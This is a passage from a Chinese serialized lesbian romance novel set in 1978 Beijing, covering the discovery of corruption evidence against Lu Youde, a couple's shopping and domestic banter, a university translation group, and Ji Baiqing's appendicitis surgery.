狭窄的墙面后的空间不大,放不下太多东西,一眼看过去都是晃人眼睛的金银,还有一摞钱摆在一边,在最角落摆着一个小匣子,陆霁将东西拿出来,看着上面的锁,再看看刚才翻出来的钥匙,见着大小差不多,将钥匙插进去一拧,咔哒一声,匣子果然被打开了。 被锁得严实的匣子里面放的反而不是什么贵重的东西,陆霁一看,才发现是放着厚厚的与人往来交流的信件,记上面是的内容是陆有德贪污受贿、污蔑举报温向荣和其她人的证据。 陆霁的看着信纸,在心中暗自庆幸这些信件看起来并不陈旧。 她回到桌前从兜里掏出来纸笔开始模仿上面的字迹,最后将几十封信件都抄了出来,上面的字迹几乎与原件无异。 陆霁最后对比一次后,见没发现什么问题才将抄写的信件按照顺序放了回去,最原本的信件都放在了自己的兜里。 将一切都复原之后,出了陆家的第一时间,陆霁就去了找季白青。 今天周日,季白青今天恰好在家,在接过陆霁手上的信件看过之后,她的眉心微微舒展开。 她轻声道:“老狐狸也是会露出马脚的。” “霁姐,这些信先放我这,我让姑姑这段时间再多盯着陆有德一点。” 陆霁点头,也没有担心,只是道:“我的目标就只有一个,你可要把东西保管好了。” 这些都是她扳倒陆老爷子的证据。 季白青笑眯眯:“霁姐,交给我你就放心吧。” 陆霁点头,在屋子里看了一圈,有些疑惑道:“淼淼呢?没有回来吗?” 她从季白青偶尔的抱怨中也能够知道温淼忙,还以为是她这周又没回家。 季白青闻言,有些心虚,讪讪地摸了摸鼻尖,眼神飘忽地解释:“她……还在屋里睡着呢。” 大一下学期,逐渐适应了大学生活,温淼和季白青的节奏也放慢了一些,即使再忙,也不会忘记空出一段时间和对方联络感情。 这个周,温淼回了家,不过因为太久没做,温淼缠得厉害,季白青一下也没收住手,以至于都快到中午了,女人还在床上睡得很熟。 陆霁到底也是个成年人了,闻言,自然知道是什么,但她和李从瑾还没有发生过关系,听着这样的话题有些不自在。 轻轻咳了一声,她捧着水杯,纠结了一会儿,坦然问道:“那种事……应该怎么做啊?” 毕竟自己接受了李从瑾的好,那就要让她舒服一些,提前做好准备也好。 季白青一脸震惊地看着她:“这……这……” 这要她怎么说啊?这是能一起探讨的问题吗? 对上陆霁求知若渴的眼神,季白青纠结一会儿后开口:“就……用手做啊。” 不然还能怎么做? 见陆霁还要开口说些什么,季白青脸红了个彻底,将人推了出去。 回到屋子里喝了杯水冷静冷静之后,季白青的脸色总算是恢复正常。 她将信抽出来再看了一边,悄然勾起了唇,眼神冰冷。 既然陆有德被她们抓到了把柄,那就别怪她们联手把他弄下台。 将信件放在了卧室的桌上压着,想着等着温淼醒来再给她看看,季白青出了房间,给温知意打了个电话后简单将事情说明白了,随后去厨房做午饭。 温淼睡得熟,最后还是被饭菜的香味香起来的。 撑开了有些沉重的眼皮,她随手将薄被卷成一团,在上面蹭了蹭。 磨蹭了好一会儿,一直到房间的门被打开。 对上了女人琥珀色的眼睛,季白青走到床边坐下。 温淼顺势将头枕上她的大腿。 季白青用手指梳理着她的长发,有些无奈。 “现在还不起床吗?” 温淼抬头,看着她的眼神带了几分埋怨。 “腰好酸。” 女人的声音娇滴滴的,语气是明晃晃的撒娇。 季白青将手落在她的腰窝上,女人的身体一缩,跟个虾米似的蜷起来。 腰窝是她的敏感点之一,温淼没忍住溢出了一声笑,躲避季白青的手。 “痒……” 她弱声。 季白青啧了一声:“不是你说腰酸要我揉的吗?要帮你揉的时候又说痒了。” 温淼哼了一声,没说话,撑着她的腿坐了起来。 季白青将一边的信拿过来给她看,看着上面明晃晃地写着陆有德举报温向荣的方法以及他涉及贪污、包庇的对话,温淼的眸光也冷了下来。 她将信纸捏皱,语气有些愤怒。 “这种人哪里配坐到现在的位置。” 季白青现在已经过了那阵生气的劲,只是道:“放心吧,现在*我们掌握了证据,等再过一段时间,他就会有报应的。” “不过不是现在,再等等,毕竟只有站得越高,到时候摔得才能够更痛。” 她哄人:“别因为他这种人不高兴。” 温淼点头,这下原本剩下的那点零星睡意在此之后都散了个干净,她起床换了身衣服去客厅吃饭。 吃了饭之后,两人难得放松一次,加上温淼刚醒,也不需要再睡午觉,她们便打算去随意逛逛。 九月里的天没有七八月那么热,今天又是个难得的阴天,徐徐的风往脸上吹着,使得裙角翩跹,带来几分惬意。 季白青和她牵着手,先是去了人民市场看看。 陆霁雇人卖衣服也还是在这一处地方。 到了地方之后,都不需要怎么找,一眼就能够看到在靠近内侧的卖着花花绿绿的衣服的摊位。 色彩足够丰富,让人光是看一眼就想要走进去瞧瞧。 季白青大概看了看,陆霁将大概的销售模式和价格都摸清楚了,雇的人也机灵,按照陆霁总结的经验来。 见状,她和温淼也去挑了挑。 季白青一眼看中了其中一件长度在膝盖上的红色吊带长裙,裙摆有些蓬,层层叠叠的有些像是后世的蛋糕裙。 她的第一想法便是,这件裙子真的很适合温淼,她穿上的话一定好看。 【作者有话说】 这个宿宿雪中途昏睡过去了,所以有点少[托腮]明天尽量多写[亲亲] 感谢投雷营养液,感谢评论订阅收藏~ 122 第122章 ◎胃痛◎ 见季白青的眼神落在了那件红色短裙之上,温淼有些疑惑: “你喜欢这个?” 季白青盯着轻轻点了点头。 温淼在得了卖衣服的女同志的同意之后,将那件裙子取了下来,放在季白青的身前比了比。 “还挺好看的。” 季白青皮肤白,气质偏清冷,这样张扬的颜色穿在她身上却并不会显得喧宾夺主,只会让人觉得青年的容色浓淡皆宜。 被老婆比划着裙子的季白青有些疑惑地低下了头,看着对方泛着粉的指节,视线随后缓缓挪到温淼的脸上,眼神中带了几分迟疑: “我什么时候说过是要给我买了?” 她好像理解错了自己的意思。 温淼拿着裙子的手一顿,和她四目相对之下,读懂了青年眸中的含义。 她的脸颊微微发烫,手上的裙子似乎成了烫手山芋。 季白青喜欢的裙子,不是她自己穿,那必然是想要让温淼穿的。 可……这时候温淼才再次仔细看向手上的裙子。 鲜艳的红色衬得白皮的人越发白皙,裙子是吊带款,用几根红色系带挂在肩膀上,到时候会露出肩头,长度也只到了大腿之上,大片的腿都会露出来。 温淼在平日里喜欢穿裙子,但一柜子的裙子无一不是长裙,她还从来没有买过这么短的。 她犹豫一番,难得想要拒绝季白青的要求,将裙子放了回去。 “算了吧,太短了。” 季白青有些惊讶:“哪里短了?这不是什么都没露,现在穿不了,过几天热了还能穿啊。” 她老婆的腿又白又细又长,露出来简直不知道有多好看。 她再次劝道:“你穿起来肯定好看,淼淼,买下来吧。” 这话刚落下,卖衣服的女同志就开口赞同道:“对啊,我们的衣服质量都很好的,这件裙子也都是时兴货,光是看着就和适合同志你,简直是给你量身定做的!你朋友都说了好看了,不然买回去试试?” 她卖出一件衣服就有两毛钱的分成,这件红裙子挂在这有一段时间了,一眼过去看着好看,但是不少人都接受不了吊带的款式和有些短的裙摆,大多数都只是拿着看看就放下了。 今天好不容易来了个有想要买的心思的顾客,而且光是看着艳丽的长相就和裙子那么相衬,她肯定是要在一边多说几句话尽力把这条裙子卖出去的。 温淼又看了眼那条裙子,抓紧了季白青的手,低声道:“不然还是算了吧。” 季白青没说话,眼神在摆出来的衣服上扫视一遍,看着和红色吊带短裙同款的白色裙子之后,道:“我买一件白色,你买一件红色,我们回去一起穿好不好?” 原本温淼要是真的不喜欢这件裙子季白青倒不会强求,可温淼话里话外的意思明显就是裙摆太短她不好意思穿。 即使现在是在七八年的京市,短裙还是显得有些出格,季白青可以理解她的想法。 如果她陪着温淼一起穿的话,对方或许能接受一点。 季白青就只希望温淼能不在意那么多,按照自己的喜好打扮得漂漂亮亮的就好了。 穿短裙又不违法。 听了她的话,温淼在心动的同时也有些犹豫,季白青见状直接拍定:“同志,我要那两条裙子。” 女同志闻言,一脸欢喜地把衣服给取了下来,叠好后放进了季白青拎着的袋子里。 “对了,我们不是朋友,是妻妻。” 女同志一愣,随后立即反应过来:“哈哈,我说呢,你们看起来真配!” 季白青对她笑眯眯道谢。 付完账之后,拎着衣服,见温淼还在拧着眉纠结,她哄人:“好啦,你不是还挺喜欢的吗?如果不喜欢穿出去的话,那就在家穿给我看也行。” 看着手上拎着的衣服,她突然想起,前段时间陆霁送过来小半袋子的衣服,因为太忙,她还没有打开看过。 待会儿回去看看都有什么款式。 温淼感受着对方的手指在自己手心绕着圈的轻柔力度,最后点了点头。 “真乖。”季白青笑眯眯夸她。 温淼抓住她还试图乱动的手,将自己的手指沿着她的指缝扣了进去。 心情轻快了几分,她道:“我们再去其它地方看看。” 上次来这一处还是在七六年,两年过去了,市场的变化也大了些。 先前在这买的镜框有些陈旧,温淼又在摊位上再挑了一个,又买了几个笔记本和几只圆珠笔,将家里缺了的调料给补上,随后去食品站买了晚上的菜,两个人准备回家。 到了家,季白青将东西拎去厨房,温淼将剩下的东西都归置到相应的位置上。 忽然想起什么,季白青探出一个头,对温淼道:“老婆,上次霁姐给我们送了衣服过来,被我放在衣柜下面了,你待会儿有时间就打开看看都是什么。” 温淼点头,将乱七八糟的杂物放在桌上,又给眼镜换了个镜框,这才打开柜子看向柜子下面的袋子。 袋子还真挺大,是那种出差才能够用得上的行李袋。 将拉链拉开,上面的几件短袖长裤掏出来,她简单看了看,都是些面料柔软、款式新颖的衣服。 等到看到一件轻薄布料的时候,温淼有些疑惑地将那一小片布料拎起来,摆弄好一会儿才看懂手上的东西是什么东西,再往里一看,还有几件同样的布料大喇喇地躺在行李袋里。 温淼的手像是被烫到了一般,连忙将东西放了下来。 羞赧上头,耳尖悄悄漫上一片桃红,顺着颈脖晕开了一小片,脸颊上所带的绯色更加明显,像是熟透了的蜜桃,一触碰就能滴出甜蜜的汁水。 她撇过了脸去,连带着看到了凳子上搭着的几件正经衣服都有些恼。 季白青是不是早就知道袋子里装着的衣服是什么了?故意要逗她所以才让她打开来看?! 想到这个可能,温淼鼓着腮帮子胡乱将衣服塞回了行李袋里。 等到季白青做完饭,将拌面端到了桌上的时候,看到的就是温淼红意未褪的脸。 一时间有些疑惑,现在屋里的温度也不高啊,怎么热成了这样? 她问:“怎么了这是?” 说着,随手拿起了一遍的蒲扇给她扇风。 温淼瞪她一眼:“还不都是你干的好事!” 季白青茫然地看着她,手上的动作停下来,语气无辜中带了几分委屈。 “……我干什么了?” 她怎么不知道今天又做错了什么事让大美人不高兴了。 在心里细细反思了一遍,除了今天凌晨折腾她太过,好像也没别的事了。 她试探开口:“那下次你想要的时候我不听你的。” 多大个事。 “……”温淼的脸颊红了个彻底。 她恼怒道:“谁跟你说这个了!” 不是这个还能是什么?季白青不解。 不过看了眼热气腾腾的面,季白青道:“先别生气了,把面给吃了好不好?上次做的时候不是说好吃吗?” 生气也不能饿着肚子生气啊。 温淼看着面前码着一层酱牛肉的拌面,最后还是没有赌气和吃的过不去,秀秀气气地吃完了一顿饭。 晚饭过后,气消了不少。 温淼将碗筷收拾好之后,季白青去够她的手,“去散步消消食。” 两人牵着手,走到院子里。 院子里的蔷薇花这段时间都落得差不多了,季白青先前为了打理这些花花草草,即使再忙,每个月都至少抽时间回来一次。 在她的照料之下,院子里的植物葳蕤,看起来欣欣向荣。 让人光是看着心情都不错。 两人没在院子里多留,牵着手在外面散步。 现在也还不晚,路边的路灯亮着,在地上晕开一团,缀着周围的景色也亮了几分。 两人牵着手,身体偶尔凑近落在路灯和月光之下,黑黝黝的一团影子在地上被拖得长长的,偶尔交织在一起。 这个点还在外面玩的基本都是家长带着自己家的小孩,耳边充斥着童言童语,季白青忽然感慨。 她道:“淼淼,你有没有觉得,我们现在特别像是母女?” 温淼:“……你又犯什么病?” “我已经到了可以做你妈的年纪了?”她口中的母女谁母谁女一目了然。 季白青眨了眨眼,给她解释:“妈妈不是一种年龄,是一种感觉。” 或许是第一世时记忆里几乎没有母亲的存在,季白青每次咬着她的柔软,幸福到了一定程度的时候都想开口管她叫妈妈。 但也不是真的把她当做了妈妈,只是妻妻情趣而已。 温淼睨了她一眼:“不管是年龄还是感觉,不许这么叫。” 看着对方生动的面容,笑意从季白青的眼角眉梢晕染开。 她轻声道:“好,不叫。” 她眼睛弯起,眼角无辜垂下,笑容里带了几分促狭:“还是叫宝宝最好。” “宝宝~” 温淼另一只落空的手心微微蜷缩起来,眼睫垂下,想要让她不许叫的话说出口却换了种说法,她道:“不许在外面这么叫。” 看她这副羞怯情态,季白青忽然感觉自己刚才的想法有些错误。 娇娇大美人现在哪有妈妈的感觉,明明就是该被人宠着纵着的宝宝才对。 这么可爱。 她笑眯眯应下:“行,不叫了,回去吧。” 两人原路返回,回到了家里,烧水洗漱后,再度回到房间,季白青圈住温淼的手腕,将她往床边带,将下巴搭在她的肩膀上,温热的气息柔柔落在她雪白的脖子上。 “所以……宝贝在吃饭那会儿是为什么不高兴?” 轻轻捏着人的下巴,她在人唇边亲了一口,温声道:“撒谎可不是好宝宝。” 温淼板着一张脸,对她的亲吻不为所动。 “你自己去衣柜里看,刚才让我去看衣服,你是不是早就知道里面有……你就是故意的!” 将人推开,温淼剜她一眼。 听她这么说,季白青一时间都没能反应过来,衣服……还能怎么样? 让温淼气成这样? 她站起来将衣柜里的袋子拎出来,当着温淼的面将其打开。 拿出上面盖着的东西。 先是短袖、衬衫、长裤、裙子……不都是正常的?还都挺好看。 季白青疑惑地看了眼温淼,又被她瞪了眼。 她只能继续看,到了后面,看着还没有巴掌大的蕾丝布料和什么都遮挡不住的文胸,季白青的眼睛微微睁大。 这回再扭头去看温淼,温淼已经垂下眸子不肯再看她了。 季白青终于知道在她面前脸皮依旧薄的温淼到底是在生什么气了,这下真是有苦说不出了。 她将布料团吧团吧放了回去,有些无措:“我、我也不知道这里面还放了这些。” 坐到了温淼身边,搂住对方的肩膀,季白青软语道:“我真的不知道呀。” 温淼闻言,狐疑看她一眼,见她看起来是真的什么都不知道之后也茫然下来。 “你真不知道?” “嗯,这些都是霁姐送过来的,我今天才想起来打开看看。”季白青解释。 她一时间也有些佩服陆霁,也不知道从哪找到的这样的内衣,这时候国内应该都没有吧?可能还是外国货。 陆霁真是为了她们妻妻间的□□操碎了心。 知道了人不是真的有意调戏自己后,温淼没再生气。 她埋怨道:“陆霁怎么这样啊……” 季白青嘿嘿一笑,将袋子够了过来,剩下那点款式也都拿出来看了看。 其实还是有几套正常的内衣裤的,只是其中混着四五套不同尺码的蕾丝布料。 看她将同一套的摆在一起,温淼没忍住打她一下。 “你还在弄什么!” 季白青理直气壮:“霁姐辛辛苦苦给我们带回来的,难道我们要丢掉吗?” 确实是这个理,别人的心意丢掉不好。 温淼犹豫起来。 季白青哼哼一声:“我现在把衣服洗了,下次你穿给我看。” “不要!”温淼炸了毛。 季白青眨了眨眼,指着一套黑色的蕾丝内衣问:“这是我的尺寸,你不想看我穿吗?” 温淼原本坚定的心瞬间被动摇几分。 季白青这么白,腰腹紧致,穿这一套肯定好看,但她…… 那衣服分明什么都遮不住,红蕊都能被看得明显。 她不想穿。 “阿青——”温淼睁着双眸看她,尾音软绵绵。 季白青伸出一根手指晃了晃,拒绝美色诱惑。 “不行。” “老婆。”温淼在她的唇边亲一口,又亲亲她的眼尾,柔软的指腹在季白青腹部的肌肉线条上打着圈。 季白青被她亲得有些痒,下意识往后仰了仰,声音里带了些细碎笑意。 她问:“这算什么?美人计?” 温淼坐在她的腿上,将人按倒在床上,居高临下地看着她,带了几分娇纵。 “不管,你必须得答应。” 模样像极了一只为了吃到猫罐头不择手段的名贵猫猫。 季白青险些被萌化,擦了擦鼻下,见没流鼻血才放下心来。 又听着人用软软的语气对自己撒娇,季白青在心里暗爽够了之后这才矜持地点头。 “好吧。” 虽然温淼现在还不答应,但是总会有她答应的时候。 季白青睡前还真将衣服给洗了,一晚上过去肯定能干。 第二天上午她没课,送温淼去了学校之后,又将家里的一切打点好,这才回了学校。 在这个学期,季白青的课程排得不算是特别多,只是她还另外选了错开本学期课程之外的其它三门专业课,加上于景所带的实验室研究结束,但张凤那边又开始了新项目,她要去实验室帮忙,便比同个宿舍的舍友多忙活不少。 每天在学校里奔波,季白青觉得自己光是靠通勤时间都能够锻炼出来肌肉。 随着时间的忙碌,饮食作息也变得越发不稳定,偶尔饿到胃在抽痛的时候才想起要去吃饭。 精神压力也随之加大,紧绷到一定程度的时候身体也会有着相应的反应。 胃痛一个月总是要发作三四次,神经性抽痛也有那么几次,每次在这个时候,季白青都要庆幸,还好温淼和她一样忙,不然被她知道的话,她该担心了。 和季白青想的一样,温淼在学校里确实也没闲着。 她早在先前就有过想尝试做翻译的想法,在回到学校之后就和专业课的老师提出了自己的想法,想要创立一个英语翻译小组,参与小组成员之间可以一起学习分享。 她还写了个大概的方案,在交给老师之后,由老师上交给学院,没多久学院里就给出了回复。 外语学院同意了,还给出了五百的经费,让温淼联系其她外语专业的学生也一起组建一个外语翻译小组,最后落在温淼想要建成的英语翻译小组上的经费一共是一百块钱,还额外给她们拨了一个办公室。 恰好舍友孙程程对此也有兴趣,便和她一起写了一份小组招募通知,贴在学校的公告栏上。 她们留出来每天晚上六点到七点的时间,在办公室面试想要参加的小组成员。 最后招募到的小组成员还不少,一共有三十来个,都是姑娘。 大家都是英语专业的,对英语专业也有着足够的热爱,几十个女同志在一起相处也没什么心眼,更为自在。 英语翻译小组是由温淼着手策划的方案组建成,组长自然是她来当,和小组成员商量一番后,她们将简单的小组规定定了下来。 每个周在周六晚上开展一次活动,由温淼准备需要翻译的内容,一晚上的时间翻译一篇文章,剩下的时间就留给大家一起讨论。 这么一来,一两个月过去,每个小组成员的翻译水平还真的有所提高。 除此之外,温淼还每天抽出时间去看相关的中文书籍,毕竟现在国内形势更多的是将英文书籍引进,需要的也是英译中的译者。 在准备一两个月之后,温淼就已经开始尝试向各个出版社投自己所翻译的稿件了,除此之外,有出版社或者是公司单位需要翻译文章,她看到了也都会尝试投稿。 最开始没什么选择,什么工作都接是因为温淼想要积累经验,与此同时还能够收到一笔翻译费。 给企业和单位翻译的次数多了之后,因为她给出的翻译细致准确,温淼的名声被传开,不少企业政府需要翻译的时候都会有人主动联系她。 在一月中旬,临近放假,最近都需要备考,温淼都没再接翻译工作。 这个学期最后一节英语精读课结束之后,温淼拿着教科书正准备出教室,却被老师开口叫住。 “温淼同学,你先留一下,有重要的事和你说。” 温淼和原本约着要一起去吃饭的孙程程说了一声,让她先走之后走到讲台前,疑惑问道:“义老师,是有什么事吗?” 义老师点了点头:“我这里有个好消息告诉你。” “嗯?”温淼眸光微亮,看着她等着她继续说下去。 义老师从大一上学期就开始带着她们上课,也是看着温淼一路努力变得这么优秀的。 她有些欣慰地拍了拍温淼的肩膀,轻声道:“最近国内要引进一批外国名著,上面少了专业的翻译家,所以就想来找学校借人看看,我觉得你可以试试,你觉得呢?” “我已经把你的名字推荐上去了,你的翻译作品我交了一篇上去,大概考试之前就能够出结果。” 闻言,温淼惊喜地睁大了眼,“多谢老师,我想试试的!” 无论是英文还是中文,都是温淼所喜欢的文字,能够将自己喜欢的语言翻译成另外一种她喜欢的语言,这是温淼一直以来的目标。 她当然很愿意。 义老师见她此刻面上的喜悦是发自内心的,便放下了心来。 英语专业的大一学生就温淼的底子最好,她看好她才第一时间推荐了她,现在见温淼不抵触,她没有好心办坏事就好。 “行了,这么晚了,快去吃晚饭吧,不然该抢不到饭了。” 温淼点头,出了教室之后才发现孙程程还没走。 两人说话的声音并不小,在门外的几个人都能听见。 孙程程小声给温淼道谢:“淼淼,恭喜你,你可真厉害!” 温淼弯起了眼睛:“我也没想到,应该多谢义老师才对,如果不是她推荐我,我都不知道有这回事。” 孙程程笑嘻嘻道:“你就别谦虚了,谁不知道你是专业第一,无论哪方面都很出众啊!” 就她这条件,有什么比赛竞赛之类挑人的事情,老师第一时间想到的不是温淼才怪。 她们宿舍的关系在季白青所做的美食的撮合和每个人的性格魅力的调节之下变得很好了,每个人提起温淼来唯一的感受便是佩服和崇拜。 毕竟温淼在她们面前的时候性格温柔,有什么难题问她都能够得到细心的解释,即使是没听懂也可以再问,她从不会不耐烦,能力也很强,做什么都比别人好,学什么东西也比大多数人快。 就连长得也那么美,多看一眼都是享受。 温淼被她夸得有些不好意思,浅笑着夸回去:“可是你也很厉害,上次的英语辩论赛没有你的话,我们队就输了。” 孙程程挠挠头,嘿嘿一笑。 “那我们都厉害。” 说着话下楼的功夫,一个高高瘦瘦的清秀男生从她们身边路过,闻言嗤笑一声。 “不要脸。” 孙程程皱着眉,有些无语。 “这卫时务有病吧,整天在我们面前阴阳怪气的是要干什么。” 她白眼一翻,对此人十分无语。 温淼心里也有些不舒服。 她也不知道自己和孙程程到底是哪里惹了卫时务,才让他在面对她们的时候总是这副作态。 明明对上老师的时候又变得斯文有礼。 将这话拿出来问孙程程的时候,孙程程笑了一声。 “还能是为什么,他忮忌我们呗,你专业第一,我专业第二,他可不就是只能够当万年老三了。有这么多心思还不如多去做几套题。” 温淼闻言,十分赞同地点了点头。 两个人的心情倒是也没有被卫时务给打扰,一起去了食堂吃饭原本打算去图书馆的,但温淼有本书落在了宿舍,孙程程便陪着她一起回去取。 两人刚到楼下,温淼就看到了一个熟悉的面孔。 ——是季白青的舍友丁佳盈,她怎么会在这里? 温淼走近,正想要跟她打一声招呼,对方看到自己后却满脸慌张地快速向自己走过来。 “温淼,白青她进医院了!” 闻言,温淼脸上笑意消失,手里的书都险些拿不稳。 她将书塞给孙程程,“程程,我先去一趟医院,麻烦你帮我把书拿上去,再帮我请个假。” 叮嘱完之后,她和丁佳盈一起往校门口走。 “是怎么了?”温淼的手按着因为慌乱而心跳剧烈的胸口,强迫自己镇定下来。 丁佳盈摇了摇头,“还在检查,这几个月里她的胃好像有些不舒服,今天还发烧了,差点晕在教室里,我们见她脸色不太对才把她送到医院。” “她本来不想要我们来告诉你的,但我听医生说好像不是简单的发烧,担心会出事,所以想着肯定要来和你说一声。” 听到她的话后,温淼抿着唇,胸口的起伏有些剧烈。 出了校门后,看着温淼镇定的脸色,丁佳盈还有些佩服,心想,这俩不愧是妻妻,发生了什么事都能那么冷静。 季白青被送到医院的时候还在安慰她们。 和她往左边走了一段距离,丁佳盈左看右看看在,最后犹豫一会儿还是叫住了温淼。 “那个,温淼,我们去哪啊?不是去公交车站吗?” 温淼一怔,才意识到自己走错了方向,对她抱歉道:“我刚才有点慌神。” 丁佳盈明了了,原来她没有表面上看起来那么冷静,不过是担心都藏在了心里所以看不出来啊。 两人原路返回往公交车站走,到了京市市医院后,找到季白青所在的病房,一打开门就能看到半倚在床头面色苍白的季白青。 她此时正在听医生说着刚才的检查结果。 门口细微的动静让季白青侧目看去,在见到了温淼后,她有些愣怔。 不是说不让丁佳盈她们告诉温淼的吗? 医生察觉她的出神,提醒道:“都这样了还不认真听结果,再晚几天来就发脓了知不知道!到时候可就危害生命了!你们这些年轻人,真是不拿自己的身体当一回事。” 温淼出声道:“医生,我是病人家属,刚才的检查结果能再说一遍吗?” 闻言,医生扶了扶眼镜,看了眼温淼之后,将季白青的情况再说了一遍。 “是阑尾炎引发了发烧和腹痛,待会儿八点需要动手术。” “她这多半是饮食不规律、休息不足引起的,听她说都持续几个月了,竟然都不想着来医院看看,这样可不行,你作为家属应该多劝劝病人。” 温淼听着这些话,掐着手心,勉强稳住脸上表情,对医生点头,将注意事项问清楚后默默记在了心里。 等到医生离开后,李唯一也取好了药送了过来。 温淼对她们歉意一笑:“麻烦你们送她来医院了,现在我在这边守着就行,佳盈、唯一你们先回去休息吧。” 两个人闻言也没有推拒,出了病房将空间留给妻妻二人。 这个病房是三人房,好在另外两张床没睡病人,方便说话。 听见了关门声后,季白青心虚极了。 她盯着自己放在被面上的手,张了张苍白的唇,轻声问:“你怎么来了?” 温淼将一边的药拿了过来,一一查看上面的说明书。 她没什么语气道:“丁佳盈告诉我的。” “哦。”季白青干巴巴应了一声,不知道再说什么。 温淼肯定是生气了。 她感受到了对方身上的低气压。 两人的沉默没有维持多久,温淼主动询问道:“你现在感觉怎么样?哪里不舒服?” 季白青蹙着的眉心被她的话揉平,摇了摇头:“没什么不舒服的,你别听刚才的医生胡说,这不过就是一个小手术。” 她在二十一世纪的时候也做过阑尾手术,没有要一个人陪着,但也轻易过去了。 闻言,温淼眸中的温度又低了几分。 “季白青,我问你哪里不舒服。”她再重复了一遍。 温淼不是傻子,不至于不听医生的话去听患者的。 季白青有些蔫蔫的,知道再不直接说温淼就要生气了,便将现在的情况如实道出。 “胃痛,有点没精神。” 看了床边的女人一眼,她语气里多了几分可怜:“蓁蓁,头有点晕。” 温淼垂眸看了她一眼,道:“头晕就睡觉。” 季白青被她的话一噎,最后也只能委屈巴巴地盖着被子躺下。 身边带着熟悉的气味,加上原本就不大舒服,季白青昏昏沉沉之中竟也睡着了。 中途护士几次进来检查都没有惊醒。 温淼见她睡了之后出了,出了病房。 丁佳盈和李唯一还在不太放心,在病房外面坐着。 见温淼出来后,丁佳盈站起来安慰道:“白青她也是不想让你担心才不让我们告诉你的,你别怪她。” 温淼闻言,扯唇对她们一笑,没答话,只是问:“最近阿青很忙吗?” 丁佳盈和李唯一对视了一样,看着温淼专注的表情,最终同时在心里对季白青说了句抱歉。 她们如实道:“挺忙的,基本每天都是满课,要么就是去老师的实验室帮忙,吃饭也很凑活,有时候晚上起来上厕所都还能看到她在阳台上看书,这几个月都是这样。” 怕温淼生气后丢下季白青不管,丁佳盈补充了一句:“不过白青是想要快点把学分修满,然后早点毕业,她肯定跟你说过吧,她就是太拼了,你们关系这么好,你多说说她她肯定会改的。” 季白青根本就没有跟她说过她想修满学分提前毕业的事。 温淼呼吸一滞,最后勉强一笑,对她们道:“现在已经很晚了,你们快回去吧,今天真是麻烦你们了。” 等到将人送到楼下再回来的时候,季白青已经醒了。 看着她回来后,季白青松了口气,软着声音问道:“老婆,你刚才去哪了?” “把你舍友送下去。” 看着温淼雪白的侧脸,感受到她的心情似乎不大好,即使想要再多说点什么,季白青也有些不敢,最后只说了几句撒娇的话。 八点很快到了,在手术室门口,看着季白青被推进手术室,医生将手术同意书拿给温淼签字。 仔细将上面的每一条信息都看完后,温淼擦了擦被汗湿的手心,端正地签下了名字。 见医生转身要回去,温淼犹豫一会儿,还是开口问:“医生,这个手术的风险不大吧?” 医生用公事公办的语气回答:“一切都要看患者的情况,等着手术结果吧,很快,一个小时左右就出来了。” 温淼有些恍惚地点了点头,站在手术室门口看着门被关上。 手术室外挂着个钟给病人家属看时间,外面无比安静,指针滴答转动的声音清晰可闻。 明明只是一个小时的时间,平时上课的时候很快就过去了,但是放在现在的情况之下,温淼只觉得有些难捱。 一个小时过得太慢了,她几乎是数着秒过去,心里还是难以控制地浮现出乱七八糟的想法。 季白青会不会对麻醉过敏? 她有没有可能病得更严重只是没有检查出来? 手术中途会不会突然出现什么意外? 这些问题频繁在脑海中浮现之后,温淼的脸色微微发白,落在身侧的手也不受控制地微微发抖。 她用左手抓住发颤的右手,只能强迫自己不要再多想,只是一个阑尾切除手术而已,不会有什么意外的。 不知道到底在门口站了多久,手术室的红灯熄灭,发出叮的一声响。 温淼往后退了一步,这才惊觉自己已经紧张出一身的汗。 医生从手术室走出,开口道:“手术很成功,不过还需要住最少一礼拜的院观察一下。” 温淼点头,忍不住往后探头。 “那病人呢?” 医生笑了一声:“放心,很快就推出来了。” 她回了手术室,和助理一起将季白青病床推出来。 阑尾手术给季白青做的是局麻,她出来的时候是有意识的。 见到了温淼后,她对人露出一个有些虚弱的笑。 “别担心。”她用气声道。 温淼看她即使是打了麻醉还疼到发白的脸,眼眶发红,跟着一起回到了病房。 医生将这*段时间的注意事项都同温淼说了一遍,温淼在一边听得认真,等到人走了之后才坐在床边看着季白青。 刚才做手术的痛意还没散去,季白青没睡着,和温淼对视了一眼后,伸出手抓住了她的,安慰道:“别担心,我不疼,这不过是个小伤口,没几天就恢复好了。” 温淼哽咽着声音骂她:“你就知道这么说,自己难不难受不知道吗?难受这么久也不知道来检查,你是不是傻。” 平时照顾她这么熟练,也和她说一旦有什么不舒服的都要直说,但怎么到了她自己身上,她就一点也不遵守。 不会照顾自己、疼也不和她说。 小腹那样明显的一条缝合伤口,脸面色都是苍白的,怎么可能不疼! 温淼抹了把眼角的泪,拿着帕子给她按着额角的汗。 季白青张了张唇,有些不知道该怎么说。 病房的门很快被推开,有护士拿着药来给季白青输液。 看着针头刺进青色的血管之中,季白青眉头都没皱一下。 视线再度落在眉头拧起的温淼身上,季白青叹了口气,有些后悔。 早知道就多跟丁佳盈强调几遍让她别去告诉温淼就好了。 不过是个小手术,哪里需要温淼这么担心。 如果没有记错的话,温淼这段时间还有结课考试。 她有些担心:“我现在已经没多大事了,可以自己照顾自己,老婆,你不是还有考试吗?先回学校吧。” 这人都这样了还有空关心她,温淼扯唇笑了笑。 随后淡声道:“我自己心里有计划,不需要你担心。” 看了季白青一眼,温淼挪开视线,“睡吧。” 季白青敏锐地意识到了她情绪上的不对,将还想要劝说的话咽了下去。 她换了个话题,软着有些哑的声音道:“头有点晕。” 温淼用手背摸了摸,青年的额头还有些烫,烧还没退。 手顺势往下,落在她的眼睛上,将她的眼遮住。 “睡吧,睡一觉就好了。” 眼前的手一直没有放开,季白青眨眼的时候睫毛几次刮过她的手心,能够感受到她手掌微微颤动的弧度。 原本因为疼痛没什么睡意,最后被遮着眼睛,季白青也渐渐睡着了。 再次醒来是六个小时之后,温淼在护士的指导之下帮她微微翻了个身,将枕头垫在身体的另外一侧。 季白青的睫毛微颤,慢慢睁开了眼。 温淼专注的侧脸映入眼帘,她感受到背后的枕头,微微测身去看着她,弱声道:“老婆。” 太久没喝水,声音发哑。 季白青看着温淼内心有些内疚。 现在也不知道几点了,女人脸上浮现出一层浅浅的倦意,大概已经很累了。 听见了她的声音,温淼将床头摇起,摸着床头水杯里装着的水还温热后抵在了季白青的唇边。 季白青喝了两口润了润嗓子,随后小声道:“对不起,让你担心了。” 温淼盯着她看了一会儿,将水杯放回桌上。 “你和我说什么对不起,和你自己的身体说吧。” 